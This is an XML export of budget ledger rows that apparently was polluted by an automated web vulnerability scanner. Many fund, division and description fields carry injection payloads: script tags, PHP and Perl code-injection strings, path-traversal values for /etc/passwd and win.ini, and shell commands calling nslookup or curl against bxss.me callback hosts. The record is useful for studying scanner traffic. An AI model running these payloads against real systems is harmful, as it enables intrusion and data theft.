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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>'"()&amp;%&lt;zzz&gt;&lt;ScRiPt &gt;cND2(9155)&lt;/ScRiPt&gt;</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU'"()&amp;%&lt;zzz&gt;&lt;ScRiPt &gt;cND2(9087)&lt;/ScRiPt&gt;</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>19214490</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>'"()&amp;%&lt;zzz&gt;&lt;ScRiPt &gt;V1xQ(9344)&lt;/ScRiPt&gt;</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>'.print(md5(31337)).'</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>gethostbyname(lc('hitlk'.'euehsbmyf06be.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(89).chr(121).chr(90)</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>${@print(md5(31337))}\</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>19466741</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>".gethostbyname(lc("hitym"."pukptohtb6917.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(66).chr(98).chr(83)."</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>${@print(md5(31337))}</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>";print(md5(31337));$a="</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>'.gethostbyname(lc('hitqo'.'necxuvpv5325e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(75).chr(99).chr(82).'</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>';print(md5(31337));$a='</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>19471859</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>'"()&amp;%&lt;zzz&gt;&lt;ScRiPt &gt;cND2(9995)&lt;/ScRiPt&gt;</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>../ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1'"()&amp;%&lt;zzz&gt;&lt;ScRiPt &gt;cND2(9002)&lt;/ScRiPt&gt;</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>file:///etc/passwd</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>../../../../../../../../../../../../../../windows/win.ini</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>gethostbyname(lc('hitht'.'ylzkqoel18feb.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(70).chr(105).chr(87)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>../../../../../../../../../../../../../../etc/passwd</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>".gethostbyname(lc("hitwi"."lxbqyoaufca49.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(65).chr(112).chr(83)."</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>'.gethostbyname(lc('hited'.'smjwbsie39e1d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(86).chr(108).chr(76).'</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitdgztyjvvvf58420.bxss.me||curl${IFS}hitdgztyjvvvf58420.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitdgztyjvvvf58420.bxss.me||curl${IFS}hitdgztyjvvvf58420.bxss.me)&amp;`'</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>19022426</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>|(nslookup${IFS}-q${IFS}cname${IFS}hittanxqcxgfvbdf5c.bxss.me||curl${IFS}hittanxqcxgfvbdf5c.bxss.me)</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU9298898</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>|(nslookup -q=cname hithfrmwkgaeicde45.bxss.me||curl hithfrmwkgaeicde45.bxss.me)</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>'"()&amp;%&lt;zzz&gt;&lt;ScRiPt &gt;cND2(9705)&lt;/ScRiPt&gt;</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>&amp;(nslookup -q=cname hitliqbdlanvp7394b.bxss.me||curl hitliqbdlanvp7394b.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitliqbdlanvp7394b.bxss.me||curl hitliqbdlanvp7394b.bxss.me)&amp;`'</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU'"()&amp;%&lt;zzz&gt;&lt;ScRiPt &gt;cND2(9961)&lt;/ScRiPt&gt;</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>&amp;nslookup -q=cname hitolxuzozbwje5086.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitolxuzozbwje5086.bxss.me&amp;`'</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>19519659</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>$(nslookup -q=cname hitxazzzruhwd541fa.bxss.me||curl hitxazzzruhwd541fa.bxss.me)</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
